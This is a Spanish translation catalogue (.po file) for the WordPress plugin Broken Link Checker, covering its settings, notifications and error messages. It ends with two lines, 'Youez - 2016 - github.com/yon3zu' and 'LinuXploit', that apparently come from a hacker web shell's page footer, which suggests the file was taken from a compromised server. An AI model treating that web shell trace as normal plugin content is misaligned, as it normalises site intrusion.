msgid "Please activate the plugin separately on each site. Network activation is not supported."
msgstr "Por favor, activa el plugin por separado en cada sitio. No es compatible con la activación en red."

#: core/init.php:338
msgid "Broken Link Checker installation failed. Try deactivating and then reactivating the plugin."
msgstr "La instalación de Broken Link Checker ha fallado. Trata de desactivarlo y vuelve a activar el plugin."

#: core/init.php:262
msgid "Twice a Month"
msgstr "Dos veces al mes"

#: core/init.php:256
msgid "Once Weekly"
msgstr "Una vez a la semana"

#: core/core.php:3756
msgid "Broken Link Checker has detected %d new broken link in your posts."
msgid_plural "Broken Link Checker has detected %d new broken links in your posts."
msgstr[0] "Broken Link Checker ha detectado %d nuevo enlace roto en tus entradas."
msgstr[1] "Broken Link Checker ha detectado %d nuevos enlaces rotos en tus entradas."

#: core/core.php:3702
msgid "You can see all broken links here:"
msgstr "Usted puede ver todos los enlaces rotos aquí:"

#: core/core.php:3688
msgid "Source : %s"
msgstr "Fuente : %s"

#: core/core.php:3687
msgid "Link URL : <a href=\"%s\">%s</a>"
msgstr "Enlace URL : <a href=\"%s\">%s</a>"

#: core/core.php:3686
msgid "Link text : %s"
msgstr "Texto del Enlace : %s"

#: core/core.php:3677
msgid "Here's a list of the new broken links: "
msgstr "Aquí dispone de la lista de nuevos enlaces rotos:"

#: core/core.php:3668
msgid "Here's a list of the first %d broken links:"
msgid_plural "Here's a list of the first %d broken links:"
msgstr[0] "Aquí dispone de lista del primer %d enlace roto:"
msgstr[1] "Aquí dispone de lista de los primeros %d enlaces rotos:"

#: core/core.php:3637
msgid "Broken Link Checker has detected %d new broken link on your site."
msgid_plural "Broken Link Checker has detected %d new broken links on your site."
msgstr[0] "Broken Link Checker ha detectado %d un nuevo enlace roto en tu sitio web."
msgstr[1] "Broken Link Checker ha detectado %d nuevos enlaces rotos en tu sitio web."

#: core/core.php:3632 core/core.php:3751
msgid "[%s] Broken links detected"
msgstr "[%s] Enlaces rotos detectados"

#: core/core.php:3509
msgid "If this value is zero even after several page reloads you have probably encountered a bug."
msgstr "Si el valor es cero, incluso después de recargar la página varias veces, es probable que hayas encontrado un fallo."

#: core/core.php:3490
msgid "Database character set"
msgstr "Mapa de caracteres de la base de datos"

#: core/core.php:3472
msgid "Redirects may be detected as broken links when open_basedir is on."
msgstr "Las redirecciones podrían interpretarse como enlaces rotos cuando open_basedir esta activo."

#: core/core.php:3471
msgid "On ( %s )"
msgstr "Activado ( %s )"

#: core/core.php:3463 core/core.php:3477
msgid "Off"
msgstr "Desactivado"

#: core/core.php:3458
msgid "Redirects may be detected as broken links when safe_mode is on."
msgstr "Las redirecciones podrían interpretarse como enlaces rotos cuando safe_mode esta activo."

#: core/core.php:3457
msgid "On"
msgstr "Activado"

#: core/core.php:3446
msgid "You must have either CURL or Snoopy installed for the plugin to work!"
msgstr "¡Tienes que tener CURL o Snoopy instalado para que funcione el plugin!"

#: core/core.php:3433
msgid "Installed"
msgstr "Instalado"

#: core/core.php:3427
msgid "CURL version"
msgstr "Versión CURL"

#: core/core.php:3424 core/core.php:3440 core/core.php:3445
msgid "Not installed"
msgstr "No instalado"

#: core/core.php:3412
msgid "You have an old version of CURL. Redirect detection may not work properly."
msgstr "Tienes una versión obsoleta de CURL. La detección de redirecciones puede no funcionar correctamente."

#: core/core.php:3399
msgid "MySQL version"
msgstr "Versión MySQL"

#: core/core.php:3393
msgid "PHP version"
msgstr "Versión PHP"

#. Plugin Name of the plugin
#: core/core.php:3373
msgid "Broken Link Checker"
msgstr "Broken Link Checker"

#: core/core.php:3319
msgid "Failed to load link details (%s)"
msgstr "Error cargando los detalles de carga del enlace (%s)"

#: core/core.php:3305
msgid "Error : link ID not specified"
msgstr "Error: link ID no especificado"

#: core/core.php:3292
msgid "You don't have sufficient privileges to access this information!"
msgstr "¡No tienes suficientes permisos para acceder a esta información!"

#: core/core.php:3157
msgid "An unexpected error occured!"
msgstr "¡Ocurrió un error inesperado!"

#: core/core.php:3087
msgid "An unexpected error occurred!"
msgstr "¡Ocurrió un error inesperado!"

#: core/core.php:3061 core/core.php:3071
msgid "Oops, the new URL is invalid!"
msgstr "¡Vaya!, la nueva URL no es válida"

#: core/core.php:3043
msgid "Error : link_id or new_url not specified"
msgstr "Error: No se especificó link_id o new_url"

#: core/core.php:2984 core/core.php:3025 core/core.php:3174 core/core.php:3188
#: core/core.php:3250
msgid "Error : link_id not specified"
msgstr "Error: link_id no especificado"

#: core/core.php:2981 core/core.php:3022
msgid "Oops, couldn't modify the link!"
msgstr "¡Vaya!, no se pudo modificar el enlace"

#: core/core.php:2961 core/core.php:3008 core/core.php:3052 core/core.php:3148
#: core/core.php:3197 core/core.php:3259
msgid "Oops, I can't find the link %d"
msgstr "¡Vaya!, no se pudo encontrar el enlace %d"

#: core/core.php:2896
msgctxt "current load"
msgid "Unknown"
msgstr "Desconocido"

#: core/core.php:2870
msgid "No links detected."
msgstr "No se detectaron enlaces."

#: core/core.php:2868
msgid "Searching your blog for links..."
msgstr "Buscando enlaces en tu sitio..."

#: core/core.php:2861
msgid "Detected %1$s in %2$s."
msgstr "Detectado %1$s en %2$s."

#: core/core.php:2855
msgid "Detected %1$s in %2$s and still searching..."
msgstr "Detectado %1$s en %2$s y aún buscando..."

#: core/core.php:2849
msgctxt "for the \"Detected X unique URLs in Y links\" message"
msgid "%d link"
msgid_plural "%d links"
msgstr[0] "%d enlace"
msgstr[1] "%d enlaces"

#: core/core.php:2845
msgctxt "for the \"Detected X unique URLs in Y links\" message"
msgid "%d unique URL"
msgid_plural "%d unique URLs"
msgstr[0] "%d URL única"
msgstr[1] "%d URLs únicas"

#: core/core.php:2839
msgid "No URLs in the work queue."
msgstr "No hay URL en la cola de trabajo."

#: core/core.php:2836
msgid "%d URL in the work queue"
msgid_plural "%d URLs in the work queue"
msgstr[0] "%d URL en la cola de trabajo"
msgstr[1] "%d URL en la cola de trabajo"

#: core/core.php:2829
msgid "No broken links found."
msgstr "No se encontraron enlaces rotos."

#: core/core.php:2823
msgid "Found %d broken link"
msgid_plural "Found %d broken links"
msgstr[0] "Se encontró %d enlace roto"
msgstr[1] "Se encontraron %d enlaces rotos"

#: core/core.php:2822
msgid "View broken links"
msgstr "Ver enlaces rotos"

#: core/core.php:2389 core/core.php:2953 core/core.php:3000 core/core.php:3037
#: core/core.php:3138 core/core.php:3182 core/core.php:3244
msgid "You're not allowed to do that!"
msgstr "¡No tienes permisos para hacer eso!"

#: core/core.php:2372
msgid "Color-code status codes"
msgstr "Códigos de estado del código de color"

#: core/core.php:2363
msgid "Highlight links broken for at least %s days"
msgstr "Resalta los vínculos rotos desde hace al menos %s días"

#: core/core.php:2348
msgid "Misc"
msgstr "Varios"

#: core/core.php:2344 includes/admin/table-printer.php:171
msgid "Apply"
msgstr "Aplicar"

#: core/core.php:2343
msgid "links"
msgstr "enlaces"

#: core/core.php:2336
msgid "Show on screen"
msgstr "Mostrar en pantalla"

#: core/core.php:2317
msgid "Table columns"
msgstr "Columnas de la tabla"

#: core/core.php:2292
msgctxt "a link from the admin notice under Tools - Broken links - Warnings"
msgid "Change warning settings"
msgstr "Cambiar los ajustes de advertencias"

#: core/core.php:2286
msgctxt "admin notice under Tools - Broken links - Warnings"
msgid "Hide notice"
msgstr "Ocultar aviso"

#: core/core.php:2281
msgid "The \"Warnings\" page lists problems that are probably temporary or suspected to be false positives.<br> Warnings that persist for a long time will usually be reclassified as broken links."
msgstr "La página \"Advertencias\" muestra los problemas que probablemente sean temporales o posiblemente falsos positivos. <br> Las advertencias que persistan durante mucho tiempo normalmente se reclasifican como enlaces rotos."

#: core/core.php:2224
msgid "%d link dismissed"
msgid_plural "%d links dismissed"
msgstr[0] "%d enlace descartado"
msgstr[1] "%d enlaces descartados"

#: core/core.php:2162
msgid "%d link marked as not broken"
msgid_plural "%d links marked as not broken"
msgstr[0] "%d enlace marcado como no roto"
msgstr[1] "%d enlaces marcados como no rotos"

#: core/core.php:2151 core/core.php:2213
msgid "Couldn't modify link %d"
msgstr "No se pudo modificar el enlace %d"

#: core/core.php:2143 core/core.php:2969
msgid "This link was manually marked as working by the user."
msgstr "Este enlace se marcó manualmente como válido por el usuario."

#: core/core.php:2094
msgid "%d link scheduled for rechecking"
msgid_plural "%d links scheduled for rechecking"
msgstr[0] "%d vínculo programado para recomprobar"
msgstr[1] "%d vínculos programados para recomprobar"

#: core/core.php:2064
msgid "Didn't find anything to delete!"
msgstr "No se ha encontrado nada para borrar!"

#: core/core.php:2042
msgid "%d item was skipped because it can't be moved to the Trash. You need to delete it manually."
msgid_plural "%d items were skipped because they can't be moved to the Trash. You need to delete them manually."
msgstr[0] "%d elemento se ha omitido debido a que no puede moverse a la papelera. Tendrás que borrarlo manualmente."
msgstr[1] "%d elementos se han omitido debido a que no pueden moverse a la papelera. Tendrás que borrarlos manualmente."

#: core/core.php:1933
msgid "Failed to remove %d link"
msgid_plural "Failed to remove %d links"
msgstr[0] "Fallo para remover %d enlace"
msgstr[1] "Fallo para remover %d enlaces"

#: core/core.php:1922
msgid "%d link removed"
msgid_plural "%d links removed"
msgstr[0] "%d vínculo eliminado"
msgstr[1] "%d vínculos eliminados"

#: core/core.php:1833
msgid "Failed to update %d link."
msgid_plural "Failed to update %d links."
msgstr[0] "Fallo al actualizar %d enlace."
msgstr[1] "Fallo al actualizar %d enlaces."

#: core/core.php:1822
msgid "%d link updated."
msgid_plural "%d links updated."
msgstr[0] "%d enlace actualizado."
msgstr[1] "%d enlaces actualizados."

#: core/core.php:1744
msgid "None of the selected links are redirects!"
msgstr "Ninguno de los vínculos seleccionados son redirecciones!"

#: core/core.php:1733
msgid "Failed to fix %d redirect"
msgid_plural "Failed to fix %d redirects"
msgstr[0] "No se ha podido solucionar %d redirección "
msgstr[1] "No se han podido solucionar %d redirecciones"

#: core/core.php:1722
msgid "Replaced %d redirect with a direct link"
msgid_plural "Replaced %d redirects with direct links"
msgstr[0] "Reemplazar %d redirección con un vínculo directo"
msgstr[1] "Reemplazar %d redirecciones con un vínculos directos"

#: core/core.php:1675
msgid "Filter deleted"
msgstr "Filtro eliminado"

#: core/core.php:1668
msgid "Filter ID not specified."
msgstr "ID de Filtro no especificado"

#: core/core.php:1641
msgid "Filter \"%s\" created"
msgstr "Se ha creado el filtro  \"%s\""

#: core/core.php:1631
msgid "Invalid search query."
msgstr "Cadena de búsqueda inválida."

#: core/core.php:1627
msgid "You must enter a filter name!"
msgstr "¡Debes introducir un nombre para el filtro!"

#: core/core.php:1562 core/core.php:1646 core/core.php:1678
msgid "Database error : %s"
msgstr "Error en la base de datos: %s"

#: core/core.php:1417
msgid "Enter the names of custom fields you want to check (one per line). If a field contains HTML code, prefix its name with <code>html:</code>. For example, <code>html:field_name</code>."
msgstr "Introduce los nombres de los campos personalizados que quieras comprobar (uno por línea). Si un campo contiene código HTML, añade a su nombre el prefjio <code>html:</code>. Por ejemplo, <code>html:nombre_del_campo</code>."

#: core/core.php:1335
msgid "Configure"
msgstr "Configurar"

#: core/core.php:1284
msgid "Save Changes"
msgstr "Guardar Cambios"

#: core/core.php:1273
msgid "The \"Nuclear Option\". Click this button to make the plugin empty its link database and recheck the entire site from scratch."
msgstr "La \"Opción nuclear\". Haz clic en este botón para que el plugin vacíe su base de datos de enlaces y vuelva a comprobar todo el sitio desde cero."

#: core/core.php:1269
msgid "Re-check all pages"
msgstr "Volver a comprobar todas las páginas"

#: core/core.php:1266
msgid "Forced recheck"
msgstr "Forzar comprobación completa"

#: core/core.php:1254
msgctxt "log file location"
msgid "Custom"
msgstr "Personalizado"

#: core/core.php:1240
msgctxt "log file location"
msgid "Default"
msgstr "Por defecto"

#: core/core.php:1231
msgid "Log file location"
msgstr "Ubicación del archivo de registro"

#: core/core.php:1224
msgid "Enable logging"
msgstr "Permitir el registro"

#: core/core.php:1218
msgid "Logging"
msgstr "Registro"

#: core/core.php:1200
msgid "Target resource usage"
msgstr "Uso del recurso objetivo"

#: core/core.php:1192
msgid "Load limiting only works on Linux-like systems where <code>/proc/loadavg</code> is present and accessible."
msgstr "La limitación de carga sólo funciona en sistemas Linux donde <code>/proc/loadavg</code> es presente i accesible."

#: core/core.php:1190
msgid "Not available"
msgstr "No disponible"

#: core/core.php:1181
msgid "Link checking will be suspended if the average <a href=\"%s\">server load</a> rises above this number. Leave this field blank to disable load limiting."
msgstr "La comprobación de enlaces será suspendida si el promedio de <a href=\"%s\">carga del servidor</a> alcanza una cifra por encima de este número. Dejar en blanco este campo, deshabilita la limitación de carga."

#: core/core.php:1176
msgid "Current load : %s"
msgstr "Carga actual: %s"

#: core/core.php:1161
msgid "Server load limit"
msgstr "Límite de carga del servidor"

#: core/core.php:1152
msgid "The plugin works by periodically launching a background job that parses your posts for links, checks the discovered URLs, and performs other time-consuming tasks. Here you can set for how long, at most, the link monitor may run each time before stopping."
msgstr "El plugin funciona ejecutando periódicamente una tarea en segundo plano que analizará tus entradas, para comprobar los enlaces descubiertos, y realiza otras tareas que consumen tiempo. Desde aquí se puede establecer por cuánto tiempo, como máximo, el monitor de enlaces seguirá ejecutándose en segundo plano antes de detenerse."

#: core/core.php:1135
msgid "Max. execution time"
msgstr "Tiempo de ejecución máximo"

#: core/core.php:1117
msgctxt "settings page"
msgid "Show link actions"
msgstr "Mostrar acciones de enlace"

#: core/core.php:1101
msgctxt "dashboard widget visibility"
msgid "Nobody (disables the widget)"
msgstr "Nadie (desactiva el widget)"

#: core/core.php:1100
msgctxt "dashboard widget visibility"
msgid "Editor and above"
msgstr "Editor y superior"

#: core/core.php:1099
msgctxt "dashboard widget visibility"
msgid "Administrator"
msgstr "Administrador"

#: core/core.php:1094
msgid "Show the dashboard widget for"
msgstr "Mostrar el widget de escritorio a"

#: core/core.php:1086
msgid "Run hourly in the background"
msgstr "Ejecutar cada hora en segundo plano"

#: core/core.php:1078
msgid "Run continuously while the Dashboard is open"
msgstr "Ejecutar continuamente mientras el escritorio de WordPress está abierto"

#: core/core.php:1070
msgid "Link monitor"
msgstr "Monitor de enlaces"

#: core/core.php:1063
msgid "Links that take longer than this to load will be marked as broken."
msgstr "Los enlaces que tarden más de este tiempo en cargar se marcarán como rotos."

#: core/core.php:1054 core/core.php:1141 core/core.php:3484
msgid "%s seconds"
msgstr "%s segundos"

#: core/core.php:1048 includes/links.php:1026
msgid "Timeout"
msgstr "Fallo en la conexión"

#: core/core.php:1029
msgid "Check links using"
msgstr "Comprobar enlaces usando"

#: core/core.php:1011
msgid "Don't check links where the URL contains any of these words (one per line) :"
msgstr "No comprobar enlaces en los que la URL contenga alguna de estas palabras (una por línea):"

#: core/core.php:1010
msgid "Exclusion list"
msgstr "Lista de exclusión"

#: core/core.php:1003
msgid "Error : All link parsers missing!"
msgstr "Error: ¡No hay ningún analizador de enlaces!"

#: core/core.php:997
msgid "Link types"
msgstr "Tipos de enlace"

#: core/core.php:964
msgid "Post statuses"
msgstr "Estados de entrada"

#: core/core.php:953
msgid "Look for links in"
msgstr "Buscar enlaces en"

#: core/core.php:938
msgid "Turning off this option will make the plugin report all problems as broken links."
msgstr "Desactivar esta opción hará que el plugin informe de todos los problemas como si fuesen enlaces rotos."

#: core/core.php:935
msgid "Show uncertain or minor problems as \"warnings\" instead of \"broken\""
msgstr "Mostrar problemas menores dudosos como \"advertencias\" en vez de como \"rotos\""

#: core/core.php:930
msgctxt "settings page"
msgid "Warnings"
msgstr "Advertencias"

#: core/core.php:924
msgid "Suggest alternatives to broken links"
msgstr "Sugiere alternativas a los enlaces rotos"

#: core/core.php:919
msgctxt "settings page"
msgid "Suggestions"
msgstr "Sugerencias"

#: core/core.php:908
msgctxt "\"Link tweaks\" settings"
msgid "These settings only apply to the content of posts, not comments or custom fields."
msgstr "Estos ajustes solo se aplican al contenido de las entradas, no a los comentarios o los campos personalizados."

#: core/core.php:902
msgid "Stop search engines from following broken links"
msgstr "Evitar que los motores de búsqueda sigan enlaces rotos"

#: core/core.php:889
msgid "Example : Lorem ipsum <span %s>removed link</span>, dolor sit amet."
msgstr "Ejemplo: Lorem ipsum <span %s>enlace roto</span>, dolor sit amet."

#: core/core.php:869
msgid "Apply custom formatting to removed links"
msgstr "Aplicar formatos personalizados a los enlaces borrados"

#: core/core.php:861 core/core.php:892
msgid "Click \"Save Changes\" to update example output."
msgstr "Haz clic en \"Guardar cambios\" para actualizar la visualización de ejemplo."

#: core/core.php:858
msgid "Example : Lorem ipsum <a %s>broken link</a>, dolor sit amet."
msgstr "Ejemplo : Lorem ipsum <a %s>enlace roto</a>, dolor sit amet."

#: core/core.php:842 core/core.php:873
msgid "Edit CSS"
msgstr "Modificar CSS"

#: core/core.php:838
msgid "Apply custom formatting to broken links"
msgstr "Aplicar formatos personalizados a los enlaces rotos"

#: core/core.php:832
msgid "Link tweaks"
msgstr "Ajustes de enlaces"

#: core/core.php:825
msgid "Leave empty to use the e-mail address specified in Settings &rarr; General."
msgstr "Déjalo vacío para utilizar la dirección de correo electrónico especificada en Ajustes &rarr; Generales."

#: core/core.php:813
msgid "Notification e-mail address"
msgstr "Dirección de correo electrónico de avisos"

#: core/core.php:806
msgid "Send authors e-mail notifications about broken links in their posts"
msgstr "Enviar a los autores avisos por correo electrónico de los enlaces rotos en sus entradas"

#: core/core.php:798
msgid "Send me e-mail notifications about newly detected broken links"
msgstr "Envíame un correo con notificaciones sobre los nuevos enlaces rotos detectados."

#: core/core.php:792
msgid "E-mail notifications"
msgstr "Notificaciones por correo electrónico"

#: core/core.php:785
msgid "Existing links will be checked this often. New links will usually be checked ASAP."
msgstr "Los enlaces ya existentes se comprobarán con esta frecuencia. Los nuevos enlaces se comprobarán lo antes posible."

#: core/core.php:776
msgid "Every %s hours"
msgstr "Cada %s horas"

#: core/core.php:771
msgid "Check each link"
msgstr "Comprobar cada enlace"

#: core/core.php:743 includes/admin/options-page-js.php:56
msgid "Show debug info"
msgstr "Mostrar información de depuración"

#: core/core.php:741 includes/admin/table-printer.php:211
msgid "Status"
msgstr "Estado"

#: core/core.php:699
msgid "Broken Link Checker Options"
msgstr "Opciones de Broken Link Checker"

#: core/core.php:684
msgid "Advanced"
msgstr "Avanzado"

#: core/core.php:683
msgid "Protocols & APIs"
msgstr "Protocolos y APIs"

#: core/core.php:682
msgid "Which Links To Check"
msgstr "Qué enlaces comprobar"

#: core/core.php:681
msgid "Look For Links In"
msgstr "Buscar enlaces en"

#: core/core.php:680
msgid "General"
msgstr "General"

#: core/core.php:658
msgid "Complete site recheck started."
msgstr "Comprobación completa del sitio iniciada."

#: core/core.php:650
msgid "Thank you for your donation!"
msgstr "¡Gracias por tu donación!"

#: core/core.php:644
msgid "Settings saved."
msgstr "Configuración guardada."

#: core/core.php:403 includes/admin/table-printer.php:722
msgctxt "link action; replace one redirect with a direct link"
msgid "Fix redirect"
msgstr "Solucionar redirección"

#: core/core.php:402 includes/admin/table-printer.php:289
#: includes/admin/table-printer.php:714
msgid "Recheck"
msgstr "Recomprobar"

#: core/core.php:401 includes/admin/table-printer.php:292
#: includes/admin/table-printer.php:702
msgid "Dismiss"
msgstr "Descartar"

#: core/core.php:400 includes/admin/links-page-js.php:111
#: includes/admin/table-printer.php:694
msgid "Not broken"
msgstr "No roto"

#: core/core.php:399 includes/admin/links-page-js.php:713
#: includes/admin/table-printer.php:293 includes/admin/table-printer.php:688
msgid "Unlink"
msgstr "Desvincular"

#: core/core.php:398 includes/admin/table-printer.php:288
#: includes/admin/table-printer.php:685
msgid "Edit URL"
msgstr "Modificar URL"

#: core/core.php:369
msgid "Settings"
msgstr "Configuración"

#: core/core.php:351
msgid "Go to Broken Links"
msgstr "Ir a los enlaces rotos"

#: core/core.php:336
msgid "View Broken Links"
msgstr "Ver Enlaces Rotos"

#: core/core.php:320 includes/link-query.php:37
msgid "Broken Links"
msgstr "Enlaces Rotos"

#: core/core.php:315
msgid "Link Checker"
msgstr "Comprobador de enlaces"

#: core/core.php:314
msgid "Link Checker Settings"
msgstr "Configuración del comprobador de enlaces"

#: core/core.php:223
msgid "Automatically expand the widget if broken links have been detected"
msgstr "Expandir automáticamente el widget si de detectan enlaces rotos"

#: core/core.php:196 includes/admin/options-page-js.php:18
msgid "[ Network error ]"
msgstr "[ Error de Red ]"

#: core/core.php:172 includes/admin/links-page-js.php:45
msgid "Loading..."
msgstr "Cargando..."

Youez - 2016 - github.com/yon3zu
LinuXploit